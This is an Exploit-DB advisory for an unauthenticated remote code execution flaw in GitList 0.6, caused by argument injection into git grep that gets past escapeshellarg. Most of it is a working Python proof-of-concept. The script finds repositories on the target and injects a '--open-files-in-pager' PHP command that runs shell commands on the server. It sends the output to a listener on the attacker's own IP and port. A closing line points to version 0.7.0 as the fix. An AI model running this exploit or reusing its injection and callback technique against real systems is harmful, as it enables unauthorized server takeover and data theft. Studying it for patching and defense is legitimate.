EDB-ID: 44548 | Author: Kacper Szurek | Published: 2018-04-26 | CVE: N/A | Type: Webapps | Platform: PHP | Vulnerable App:  | # Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
1. Description
Bypass/Exploit `escapeshellarg` using argument injection: `git grep --open-files-in-pager=whoami`.
More info about this technique:
https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
2. Proof of Concept
'''
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)
'''
3. Solution:
Update to version 0.7.0
https://github.com/klaussilveira/gitlist/releases/tag/0.7.0
'''
